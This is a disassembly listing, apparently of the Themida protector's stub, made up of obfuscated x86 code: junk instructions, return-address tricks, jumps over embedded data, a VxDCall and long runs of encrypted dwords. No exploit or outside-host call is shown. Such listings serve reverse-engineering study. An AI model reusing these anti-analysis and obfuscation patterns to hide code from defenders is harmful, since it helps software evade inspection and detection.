sub_5C28E7	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 0F6A69413h, 8A0F92F9h, 6, 60616060h,	50506161h, 11E952h
		dd 7D650000h, 0BCE09465h, 3324F922h, 85E6CCBDh,	0FB8759Bh
		dd 0F525031h, 8Dh, 0E9310F00h, 0Bh, 50588C88h, 3C7FE36Bh
		dd 5A3D94E0h, 92585A58h, 0DE805760h, 0BF0F5876h, 10F61D9h
		dd 0F9FE244Ch, 53006A5Ah, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 3AFF272h, 0FE2BAC8h, 0B87h
		dd 6E900h, 18790000h, 3033C9DCh, 6A24C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66EBC356h
		dd 0FFC7289h, 180h, 0CEC1FC00h,	55006A10h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8966FC61h
		dd 810F0272h, 17h, 118E0Fh, 0CE90000h, 28000000h, 4F220240h
		dd 93F24E56h, 0CD11C5D5h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 14D0D2F9h
		dd 0E9F5F893h, 58h, 7870Fh, 8F0F0000h, 1, 816060FCh, 0AEA5E0DAh
		db 73h,	2 dup(61h)
; ---------------------------------------------------------------------------


loc_5C2A33:				; CODE XREF: Themida_:005C2886j
		mov	eax, [ebp+7D4C566h]
		jge	loc_5C2A45
		pusha
		stc
		movzx	edx, bx
		popa


loc_5C2A45:				; CODE XREF: Themida_:005C2A39j
		lea	esi, [ebp+7D4C4D4h]
		jmp	loc_5C2A64
; ---------------------------------------------------------------------------
		dd 81B0D197h, 0CC169214h, 5F1D4AB1h, 0ECA7CA85h, 0B0D04EE4h
; ---------------------------------------------------------------------------


loc_5C2A64:				; CODE XREF: Themida_:005C2A4Bj
		lea	eax, [ebp+7D47D21h]
		clc
		call	eax
		pusha
		xor	si, 4D59h
		popa
		mov	[ebp+7D4BEFCh],	eax
		stc
		popa
		push	0
		push	eax
		call	sub_5C2A87
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2A87	proc near		; CODE XREF: Themida_:005C2A7Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C2A87	endp

; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------
		jb	loc_5C2AB7
		jmp	loc_5C2AB7
; ---------------------------------------------------------------------------
		db 0Fh
		dd 8CCF3A85h, 0C36D2171h, 181FE24Ch, 0A3F4F9D2h
		db 0B9h, 22h, 0D4h
; ---------------------------------------------------------------------------


loc_5C2AB7:				; CODE XREF: Themida_:005C2A98j
					; Themida_:005C2A9Ej
		mov	eax, [ebp+7D4BEFCh]
		jg	loc_5C2AD1
		jmp	loc_5C2AD1
; ---------------------------------------------------------------------------
		dd 73535750h, 0EF35AB9Bh
; ---------------------------------------------------------------------------
		movsd


loc_5C2AD1:				; CODE XREF: Themida_:005C2ABDj
					; Themida_:005C2AC3j
		pusha
		cld
		jmp	loc_5C2AEB
; ---------------------------------------------------------------------------
		dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h
		db 0B8h, 13h, 85h
; ---------------------------------------------------------------------------


loc_5C2AEB:				; CODE XREF: Themida_:005C2AD3j
		popa
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C2AF8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2AF8	proc near		; CODE XREF: Themida_:005C2AF0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C2AF8	endp

; ---------------------------------------------------------------------------
		inc	ebx
		xchg	edi, [ebx]
		sub	bl, [ebx]
		xchg	eax, edx
		and	ecx, ecx
		or	[esi+60h], al
		jno	loc_5C2B32
		jmp	loc_5C2B32
; ---------------------------------------------------------------------------
		dw 0E28Ah
		dd 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h
		db 0E7h, 65h
; ---------------------------------------------------------------------------


loc_5C2B32:				; CODE XREF: Themida_:005C2B13j
					; Themida_:005C2B19j
		cmp	dword ptr [ebp+7D4C566h], 0
		jnz	loc_5C2B8D
		push	0
		push	edx
		call	sub_5C2B4A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2B4A	proc near		; CODE XREF: Themida_:005C2B42p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5C2B4A	endp

; ---------------------------------------------------------------------------
		push	edx
		db	36h
		clc
		mov	dword ptr [ebp+7D4C566h], 1013Fh
		pusha
		mov	eax, edx
		jmp	loc_5C2B83
; ---------------------------------------------------------------------------
		db 34h
		dd 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h
		db 8Ch,	22h, 0E9h
; ---------------------------------------------------------------------------


loc_5C2B83:				; CODE XREF: Themida_:005C2B6Aj
		popa
		pusha
		movsx	ebx, si
		mov	dx, 0EDC9h
		popa


loc_5C2B8D:				; CODE XREF: Themida_:005C2B39j
		jmp	loc_5C2BA2
; ---------------------------------------------------------------------------
		stc
		jmp	loc_5C2BA2
; ---------------------------------------------------------------------------
		retn	0C04Ah
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0A50E582Ah
		db 0, 71h
; ---------------------------------------------------------------------------


loc_5C2BA2:				; CODE XREF: Themida_:loc_5C2B8Dj
					; Themida_:005C2B93j
		VxDCall	0


loc_5C2BA8:				; CODE XREF: Themida_:005C2BE1j
		or	eax, eax
		jz	short loc_5C2BE3
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+7D4BF04h]
		mov	ecx, 8


loc_5C2BBA:				; CODE XREF: Themida_:005C2BBEj
		cmpsb
		jnz	short loc_5C2BDF
		dec	ecx
		jnz	short loc_5C2BBA
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+7D4BF00h]
		cmp	ebx, [eax+34h]
		jg	short loc_5C2BE3
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+7D4BEFCh],	eax
		jmp	short loc_5C2BE3
; ---------------------------------------------------------------------------


loc_5C2BDF:				; CODE XREF: Themida_:005C2BBBj
		mov	eax, [eax]
		jmp	short loc_5C2BA8
; ---------------------------------------------------------------------------


loc_5C2BE3:				; CODE XREF: Themida_:005C2BAAj
					; Themida_:005C2BCCj ...
		popa
		mov	eax, [ebp+7D4BEFCh]
		iret
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C2BF6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2BF6	proc near		; CODE XREF: Themida_:005C2BEEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C2BF6	endp

; ---------------------------------------------------------------------------
		dw 0FE1h
		dd 1880h, 128C0F00h, 0E9000000h, 0Dh, 1F092A91h, 1803FFF9h
		dd 0B29F6536h
; ---------------------------------------------------------------------------
		xor	bh, ah


loc_5C2C26:				; CODE XREF: Themida_:loc_5C2546j
		mov	eax, eax
		jmp	loc_5C2D33
; ---------------------------------------------------------------------------
		db 23h,	24h, 0DFh
		dd 55C9757h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h,	68AC2060h
		dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
		dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h,	6020557Dh
		dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h,	0B4E0F796h
		dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h,	20206020h
		dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh,	3407000Eh
		dd 0A0A3D25Dh, 1E59h, 7	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5C2D33:				; CODE XREF: Themida_:005C2C28j
		jmp	loc_5C3995
; ---------------------------------------------------------------------------
		push	7D4C95Fh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CA6Dh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CB17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CC17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CC88h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CD17h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CE82h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4CFC7h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D081h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D149h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D4D1FBh
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		dw 0C5B9h
		dd 0E7A18E1Bh, 0F68F7C09h, 1F7E6BF8h, 2B6754E1h, 188540CDh
		dd 6DFAF694h, 5AE70580h, 45D22C6Dh, 2FBC3858h, 89E4A18Dh
		dd 3B19FD7Bh, 63217553h, 0D0B3A085h, 1EC9351Ah,	9C5838EFh
		dd 0F011810Fh, 0E40B4704h, 22B919F9h, 5E30503Dh, 402CC33Dh
		dd 0D6BB3153h, 3723B03Fh, 0E3DF8E4Bh, 4EE519F9h, 36B2D2BFh
		dd 0E3D69451h, 5C0719F9h, 0DA1676ADh, 6F20604Dh, 8955490Bh
		dd 7A377C62h, 19FA4DF3h, 0B7A33AD1h, 4D5F0ECBh,	0CE6519FAh
		dd 2F6D5A3Fh, 86FFECD1h, 0F5968368h, 0DF8A16FBh, 5E98F930h
		dd 61903BC7h, 810EEAAAh, 9ECEA50Ah, 52B3841h, 215A0000h
		dd 0B3A08563h, 3F2B17D5h, 28B4EB82h, 0B342D912h, 7EA9826h
		dd 86432F1Bh, 1228B4E7h, 0E48946DDh, 0E01228B4h, 0C13F5C49h
		dd 0E5894632h, 0DF19F9E8h, 106F5C48h, 0A15E43D2h, 19F9E8C8h
		dd 7FB5640Fh, 95F9F792h, 383E0866h, 0E55CEBEDh,	419E39CAh
		dd 2F13h, 12803500h, 5A1703EFh,	1228B513h, 9F8B1AB1h, 0F9DCD0E2h
		dd 785DF419h, 0F9DCAEBBh, 8F7E2919h, 9E5DA10Eh,	1173C41h
		dd 63500000h, 5F3DCC22h, 0A0856321h, 0A0450B4h,	0DA86A95Eh
		dd 0C43C5E4Bh, 98FF3DFh, 3210E138h, 0DFBDAA39h,	0E5493521h
		dd 0C4417045h, 5D10CD0Ch, 671228FBh, 6F5C41D0h,	0FAE7D311h
		dd 0E57C619Fh, 4E0CC956h, 2E1228FFh, 1805926Eh,	0AB977C78h
		dd 0FE6B02BFh, 0C2591228h, 0BEF5A533h, 0A63D22DEh, 44BF230Fh
		dd 0C9F77C4Ah, 0D792B2DFh, 81651C73h, 3395D895h, 982F1229h
		dd 0DE601D09h, 0E619FA47h, 680F96FAh, 2F15DE7h,	0F9C42845h
		dd 0D5AF9C19h, 49B3217h, 2052E06Dh, 118D5C1h, 0C321CDA6h
		dd 30DC402Ch, 2AA7A276h, 1F64086Ch, 0ADACF66Eh,	4545321Eh
		dd 51311EABh, 8FF7E397h, 0CF1FEBDh, 96294h, 24DCC200h
		dd 12EEAA97h, 1FF9885h,	0EA088774h, 0D612705Dh,	9D0F8E49h
		dd 897603FDh, 7663F00Eh, 614EDB15h, 9638C523h, 7D80EDAAh
		dd 5C4419FDh, 8761217Eh, 0DE69379Bh, 7210241h, 13FFEB78h
		dd 29951756h, 0C2C0AD12h, 13AA4126h, 0A5F99784h, 0E57209E7h
		dd 0EF128007h, 0DD6C4603h, 241119F9h, 0BBA88D63h, 0FD8C23D9h
		dd 1FDCC158h, 19F9DE4Ah, 0D7B4A18Dh, 30DF8A19h,	9E5F406Fh
		dd 0F9978441h, 6D2A16FBh, 19F9D200h, 0A9962DC4h, 0AB7E0DEBh
		dd 0B4h, 306321CDh, 28B4FA73h, 9C33CA12h, 30C8CAB7h, 0B8CC8E4Bh
		dd 0C5B11228h, 8A933261h, 0C27F7724h, 122941ABh, 6F38219h
		dd 0F0DD6A86h, 0E16F5490h, 6098FAB1h, 1E20DDC9h, 5F19FA56h
		dd 55B7B673h, 760D19FAh, 1EAB42E7h, 13FFE290h, 0CE34B256h
		dd 8F7B1221h, 4FB3E0A2h, 567F9027h, 0EF7E3B4Eh,	0D521CE5Bh
		dd 694EAAE8h, 17A43BD2h, 0DC90682Ah, 0FEBCCCD4h, 542FA78Ch
		dd 0B4000008h, 9C8916CAh, 8A7704F8h, 7966F30Dh,	624FDC1Ah
		dd 803BC820h, 0FDFB971Dh, 0EA008370h, 0D513705Dh, 0BF3D5B48h
		dd 0E7A49032h, 19FD7E86h, 2178563Eh, 0DFA8761h,	6E4718Fh
		dd 0A0856321h, 8A17D5B3h, 0A2D068ADh, 34F39A72h, 0B95084A3h
		dd 940E10CDh, 836F19FAh, 0FA93A7C6h, 74311D19h,	19FA93F9h
		dd 0E9D34CBh, 0B06DD269h, 18C307E3h, 55128AF8h,	18C30818h
		dd 927E15ACh, 940FC5D5h, 7C68FF20h, 64F3F18Fh, 6081F17Fh
		dd 0EA088774h, 0A1B26F5Bh, 232868B6h, 0D5B3A08Ch, 0FF9D8A17h
		dd 69314D01h, 0EF3E759h, 7AA96h, 6C940A00h, 5A96F2DFh
		dd 49A7E0CDh, 32B0CFBCh, 1EDAB8A5h, 0E5C7D691h,	0D1BE4BA5h
		dd 0BEAB38B6h, 0A99623DDh, 0DE800DEBh, 803835F2h, 0A48C19FDh
		dd 306321C6h, 28B4FA73h, 9C33CA12h, 26C4C3B0h, 7624B297h
		dd 3CEAA793h, 4119F9DFh, 0AA673054h, 19F9DEC3h,	0EED36A01h
		dd 0D12F6A57h, 21C655ECh, 0D4B19E8Ah, 472CC0C4h, 84B519B0h
		dd 32E5A06Fh, 8E1BAAh, 105D1A92h, 0B419FA05h, 0AE9A861Dh
		dd 4429C7C1h, 0D4611EADh, 0F021CECBh, 806D59h, 0DF20E8Eh
		dd 8FF3DF76h, 58F55D1Dh, 0C2107C72h, 0C8A82B8Fh, 6C59E675h
		dd 5DEBD02Ch, 0F4E0CC2Dh, 886D8B07h, 6D8304F1h,	0BA3B21DEh
		dd 9D8929A3h, 0A3B98DE0h, 9A03729h, 9351301Dh, 6D2B1804h
		dd 7715028Fh, 94069479h, 0BA0A6320h, 23BA29A3h,	0D0B3A08Ch
		dd 83A2B61Ah, 850C1E84h, 0B14D0AF6h, 13317544h,	0FBBCC87Ch
		dd 7F64EE55h, 6AA07h, 6C940A00h, 5A96F2DFh, 49A7E0CDh
		dd 32B0CFBCh, 1EDAB8A5h, 0E5C7D691h, 0D1BE4BA5h, 0BEAB38B6h
		dd 0A99623DDh, 0DE800DEBh, 813835F2h, 0A48C19FDh, 0EF1280C6h
		dd 6E2B1703h, 1228B4FFh, 0E29F2EC5h, 19FD7A82h,	0D3BFAB42h
		dd 6449A7E6h, 33513ECDh, 5D3B28B5h, 7E2CBA9Fh, 34F2AF9Bh
		dd 9021CEA5h, 2409E7A3h, 0C842F68Dh, 0D4FEBC9Ch, 63977EFh
		dd 0E5990000h, 7816EFBh, 166F5CE9h, 3F5E4BD8h, 4B4734C1h
		dd 386520ADh, 4DDA1674h, 3AC72560h, 25B24C4Dh, 0F9C5838h
		dd 0A9C4816Dh, 1B19FD80h, 12805533h, 0EF4603EFh, 0D519FD7Bh
		dd 75335971h, 0A38F9FE2h, 0FCE987E6h, 0FA63D19h, 4F4A3723h
		dd 573522B1h, 611F0C99h, 62109E83h, 86D6937Fh, 3E21D1AFh
		dd 0CECEBBA7h, 0D8B8A532h, 0F9A9371Ch, 8F6F2C18h, 0EE29A2D9h
		dd 0FB998001h, 9380D3DBh, 0E28716ADh, 9579974Bh, 8267E663h
		dd 5AA0Ah, 6C940A00h, 5A96F2DFh, 49A7E0CDh, 32B0CFBCh
		dd 1EDAB8A5h, 0E5C7D691h, 0D1BE4BA5h, 0BEAB38B6h, 0A99623DDh
		dd 0DE800DEBh, 823835F2h, 0A48C19FDh, 856321C6h, 17D5B3A0h
		dd 6B8EFC8Ah, 0E8ACC27Fh, 2C1819F9h, 0F9E8FE6Fh, 0E7197E19h
		dd 2FC66B02h, 0E299F2CBh, 9A05BFBh, 6E026724h, 1B7A19FAh
		dd 8F0BF8DDh, 98438C71h, 0CB760869h, 0EB545B5Ch, 5189419Eh
		dd 0AB000000h, 0E038BE22h, 0EABA831Eh, 0D2694EAAh, 0DB924F3Bh
		dd 0E912290Dh, 4535C352h, 20B7494Eh, 363B7734h,	564219FAh
		dd 0FA35D499h, 0CA59F019h, 3EA28E25h, 2AFFB1D7h, 7E7819B0h
		dd 0DC6B0299h, 92F3AF7h, 0FDA819FAh, 8A228D0Eh,	0F8BB419Eh
		dd 0DD000000h, 0A0856321h, 30CEC7B4h, 0B4E68744h, 47DE1228h
		dd 0DCCFCBB8h, 28B54E1Fh, 0F2DF7612h, 0D9705593h, 10705D42h
		dd 9F03EFD4h, 96569A7Eh, 412EBD7Eh, 55B9A543h, 0A08E1336h
		dd 0E7740337h, 2906302Ah, 0E34C4C12h, 656EDC16h, 1AA73E33h
		dd 0AC916F2Dh, 7B386C1Eh, 122986F2h, 0B8A43BD2h, 0FAA67FFBh
		dd 3B584519h, 0D63A26BDh, 0D8821B24h, 0A734C3D0h, 9C886919h
		dd 0CDBEA1DFh, 0A08C2321h, 0D7C4D7B3h, 0EF7E3BB9h, 0D521CDBEh
		dd 2E1AA73Eh, 0C1A64041h, 0A25C3D2Ah, 8C642613h, 0BC662ED8h
		dd 65DDC2FEh, 43Fh, 7401FF9Fh, 62EF0D87h, 51DE1075h, 3AC72564h
		dd 26B34D4Dh, 187A326Bh, 236653E0h, 365340CDh, 5E3E2BB8h
		dd 877315A2h, 0FD82A3CAh, 5B392119h, 0A898BE22h, 971EECBEh
		dd 817F1B08h, 7A1B08F4h, 0D0B29F84h, 59C3318h, 970B8976h
		dd 841B00FEh, 228260EDh, 0B4F47936h, 39D01228h,	0B4DD904Dh
		dd 50E71228h, 0A24733C1h, 0DCB9F9B6h, 1E0B19F9h, 0BA28779h
		dd 0BB248874h, 0B0CD9B95h, 140D601Dh, 20B719FAh, 5815FA89h
		dd 19FA1411h, 6776DAC6h, 46CE3FA4h, 6A9944D3h, 9EF48629h
		dd 0FFDA3E41h, 0B54B4E01h, 0C52A9C51h, 0D06336h, 21850000h
		dd 0B4A08563h, 45636D50h, 23B280E1h, 0B79C5436h, 294260FAh
		dd 57301D12h, 7DF0AD99h, 47122942h, 543421B0h, 7E1E0B98h
		dd 42FD702Dh, 30C71229h, 8649AD99h, 0FF01CED1h
		dd 20AE9322h, 0E6A38F72h, 19F9E994h, 0C1AD9930h, 0F9E96904h
		dd 0A1F75B19h, 9D840997h, 0DD9A861Dh, 19FA2790h, 810E9D34h
		dd 766287F3h, 0CE0668B9h, 0D9C55C21h, 6C51AFECh, 6D5A46D5h
		dd 43ED062Dh, 61C52360h, 16AD6EE4h, 0ACFE9C89h,	942B10ECh
		dd 0CAE749FDh, 583DFEBCh, 2FAE0h, 0BC245A00h, 0AA46422Fh
		dd 9957301Dh, 82601F0Ch, 6E8A08F5h, 357726E1h, 210E9B55h
		dd 0EFB8866h, 0F9E6738Dh, 2ED05D9Bh, 83E88542h,	0F4DC19FDh
		dd 87612116h, 718F0DFAh, 632106E4h, 0B4FA7330h,	33CA1228h
		dd 0CACAB79Ch, 0C9B5A12Eh, 28B4610Ch, 0E0CC6312h, 28B54A23h
		dd 54E37A12h, 513E9077h, 0C7216131h, 0CFB44BE2h, 6F1BA938h
		dd 0D1B19E8Ah, 0C9B3217h, 0E6BB6320h, 720919F9h, 5DC1500Dh
		dd 681ABE2Fh, 0EC399D89h, 199C8BCh, 4603EF7Eh, 0C600A024h
		dd 962409A0h, 5C1905E4h, 0CDD546F7h, 48A4E0CDh,	4935CC63h
		dd 33C03C5Ch, 0F6AA4646h, 4AB5FE34h, 40138B70h,	0A0000002h
		dd 887502FEh, 7663F00Ch, 6552DF11h, 4E3BC826h, 6C27B44Ch
		dd 0E11F7B31h, 0CE2C6754h, 0B9375441h, 0A3413F2Ch, 0CB887416h
		dd 19FD84A2h, 225C3A22h, 0B69B5535h, 0E5A3901Fh, 0E6942207h
		dd 3E2B1703h, 28BFA45Ch, 0CF36DC99h, 0F78E19F9h, 0B77C1E0Bh
		dd 0AE83BEABh, 775CF319h, 0E7C451E0h, 856416DAh, 9D42DC99h
		dd 968221CBh, 9C80EDAAh, 0AD4421CBh, 0CB9C7DF0h, 19B04721h
		dd 0B6EF7B4h, 3D6DDE5Ah, 9EE0286h, 7D6B99A5h, 18AF1BF2h
		dd 0BDA99581h, 5A256D00h, 3C057DEh, 0DE5A256Ah,	4834C35Ah
		dd 2B2E0F8Bh, 391EB5E6h, 2E1AFFABh, 0FFD4E271h,	5F4BE2EDh
		dd 49D61272h, 0CC03C5Ch, 2ACE4C34h, 780F876Ch, 0D8000001h
		dd 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h, 867300FEh, 0A45FEC04h
		dd 19D7B3F9h, 6E49F8Ch,	0F10F8C79h, 0DB197764h,	3C0AC4Eh
		dd 19FD856Ah, 2194725Ah, 0AD998563h, 28B47DF0h,	3A5A4712h
		dd 0AB42D9BEh, 0F9A9371Ch, 4328C0C2h, 6C2915ACh, 19F9CF76h
		dd 0C8A5624Eh, 0FC19F9CFh, 6441CE65h, 49D03454h, 9BD221DCh
		dd 285AE877h, 0F1D61473h, 1AD7C35Ah, 21CB5904h,	3BB1D3C0h
		dd 0C328BF56h, 0BE44C706h, 836614DAh, 4CC0DA97h, 6D04E28Fh
		dd 6988FA88h, 0F3F1907Dh, 98BB7864h, 2CEA63F3h,	0DCBCA995h
		dd 0E6A69320h, 53F8560Ah, 0F7DC2922h, 0C67Fh, 88782600h
		dd 768A0EFBh, 659BFCE9h, 4EACEBD8h, 3AB6D4C1h, 9ABF2ADh
		dd 0F5E26F89h, 0E2CF5C92h, 0CDBA47A1h, 2A431CFh, 86145916h
		dd 0C8B019FDh, 856321EAh, 816012A0h, 0D91ED895h, 0BAA619F9h
		dd 0D95C11CEh, 0D16819F9h, 0F9DA5914h, 3DD46B19h, 0BBD7C4B0h
		dd 7220AE3Dh, 72E6A38Fh, 5221CE9Fh, 0ABE9D6BBh,	1374614Dh
		dd 0D4C14EDDh, 965338B4h, 71DA977Eh, 0EE25D47Fh, 6498FCAEh
		dd 355340CDh, 0A6E5D2B7h, 0C45B95F2h, 9C8B36DFh, 0F7B4E7A5h
		dd 71DA9776h, 0C9CAB74Eh, 0C0AC982Fh, 0DA976A03h, 34C35A71h
		dd 1EDABAA7h, 5151CE32h, 7A5F9DFCh, 0A4FB7FE3h,	84DF8E4Bh
		dd 4EE571DAh, 0CB4328B7h, 3, 21E4C2EDh,	0B19E837Dh, 433015D3h
		dd 0D6C3A846h, 6B583DB3h, 0FFECD12Fh, 93806583h, 2411F6F4h
		dd 0BBA88D63h, 6F3E23D9h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 5968241Ch, 8900006Ah, 0C168241Ch, 8900003Bh,	0B682434h
		dd 89000062h, 68BE2434h, 8907D4C7h, 0EC815EF3h,	4, 83242489h
		dd 5E042404h, 55D88950h, 6E89C589h, 8B585D08h, 89562434h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2434FF5Ch, 4C4835Bh
		dd 0FCAB2FE9h, 0E40A56FFh
; ---------------------------------------------------------------------------
		pushf


loc_5C3995:				; CODE XREF: Themida_:loc_5C2D33j
		mov	eax, 7D4D2E6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0BFE1h
		dd 0F2CE2B79h, 0D93A7191h, 0DD7A7CBFh, 2656F3Ch, 0E3AB5661h
		dd 550F755Ch, 0A7A1318Ch, 116D03C9h, 23436F95h,	48E93943h
		dd 48000001h, 4C000000h, 50000000h, 4Dh	dup(0)
		dd 0D7000000h, 3005C39h, 8D00B3C2h, 0D4D38D85h,	75958907h
		dd 8907D132h, 0D4D4CD85h, 8CEF8107h, 0C63057F4h, 0D131B585h
		dd 0D3805407h, 0AA79683Ch, 26BBBBC0h, 813BE282h, 0BDB02404h
		dd 0B76032A1h, 5B5660CBh, 9C38C181h, 61614B1Ch,	26C9BD8Bh
		dd 0B5FF07D1h, 7D10831h, 6820Fh, 958B0000h, 7D11A85h, 0A6EA858Dh
		dd 816607D4h, 0FF400FD1h, 0F88B66D0h, 0D4D18589h, 0BD8B07D4h
		dd 7D12439h, 58E9h, 11E800h, 21270000h,	9D9627CBh, 0E00B3284h
		dd 3390188Dh, 5954ADE9h, 0CDB58B56h, 8907D4D4h,	0CD858306h
		dd 407D4D4h, 8D60C35Eh,	0D4D38DB5h, 560FEB07h, 36FF006Ah
		dd 0D4D195FFh, 835E07D4h, 3E8304C6h, 61EC7500h,	4CF180C3h
		dd 0DB002BAh, 9D29563Fh, 7D13409h, 78858D59h, 8107D4D5h
		dd 65041ADFh, 81858932h, 0E807D11Bh, 12h, 3C677223h, 1AF5B288h
		dd 920FC6CBh, 4095DF8Fh, 0F57D269h, 583h, 0C2816600h, 5E5A5AC4h
		dd 85C5BB60h, 13E81A92h, 25000000h, 0AEA9BD3Eh,	0C275166h
		dd 0CE5484BFh, 430F7D37h, 0B70F3C41h, 816159DAh, 689DC6h
		dd 0D59D3100h, 2B07D105h, 0D0C480FFh, 813734FFh, 5CBA0C2h
		dd 0B9665B2Fh, 0C3818784h, 25B67C7Ch, 1C31EB81h, 3FB57368h
		dd 529EB81h, 0D08118C0h, 74BD0DE3h, 48FF553h, 70EA803Eh
		dd 6D6CB966h, 8B04EF83h, 20FF81C8h, 0FFFFF98h, 1485h, 81666000h
		dd 61A5E7F6h, 1CE9h, 339B9B00h,	3B9E4E8Ah, 0D8D8B73h, 0E907D128h
		dd 0FFFFFF9Ch, 847497Bh, 0DE4CBF84h, 75E900h, 66600000h
		dd 4A8D88Ch, 35840Fh, 16A0000h,	1CC9B5FFh, 858D07D1h, 7D4A6EAh
		dd 8589D0FFh, 7D10C81h,	0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah
		dd 1000Dh, 0C8195FFh, 32E907D1h, 0C6000000h, 0D131B585h
		dd 0DF685607h, 0FFA9C530h, 0D10831B5h, 0EA858D07h, 0FF07D4A6h
		dd 0B58589D0h, 8D07D12Bh, 0D114BD85h, 206A5007h, 0FF56056Ah
		dd 0D12BB595h, 0C1C36107h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh
		dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h,	0D129B327h
		dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 0A6DBh, 5	dup(0)
		dd 87000000h, 2352DDB4h, 9ED920h, 0E9000000h, 12A7h, 15898589h
		dd 83F507D1h, 0D11715BDh, 850F0007h, 1Fh, 68A0Fh, 0BD890000h
		dd 7D115CDh, 0B8h, 0D59D8900h, 0C207D118h, 0E0BA0004h
		dd 8B116F18h, 6DBD23C0h, 8307D128h, 0D13405BDh,	9750007h
		dd 2849BD83h, 740007D1h, 8B535013h, 4D0B8C0h, 9D8D0000h
		dd 7D3DF84h, 585BD3FFh,	2849BD83h, 740007D1h, 0B8535011h
		dd 4D0h, 0DED19D8Dh, 0D3FF07D3h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 118D7BC3h
		dd 0F3511AFBh, 24B6EB87h, 24C98501h, 8D8907D1h,	7D1330Dh
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E821B2C3h, 89D9ED04h, 0BF66393Eh, 858D68E4h
		dd 7D4D741h, 8E860h, 0FF210000h, 0D2BE13BBh, 0C18B0B6Fh
		dd 0A18D335Fh, 6107D105h, 52505350h, 0C0CF8CB9h, 0B1310F21h
		dd 5F585A52h, 0E9240489h, 5, 6F880F1Ch,	0FE858D81h, 6A07D4D6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E2E1C353h, 6853BEA2h, 5A2A1807h,	21C1BD8Bh
		dd 8A5007D1h, 240489F3h, 0D619D281h, 95FF5A10h,	7D12995h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 2AC35646h
		dd 0FC3A9AB5h, 424448Bh, 3395BD8Bh, 858907D1h, 7D4D729h
		dd 824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	95C35141h, 0B3C2C4B4h, 86050A51h, 3D858989h, 0E907D4D7h
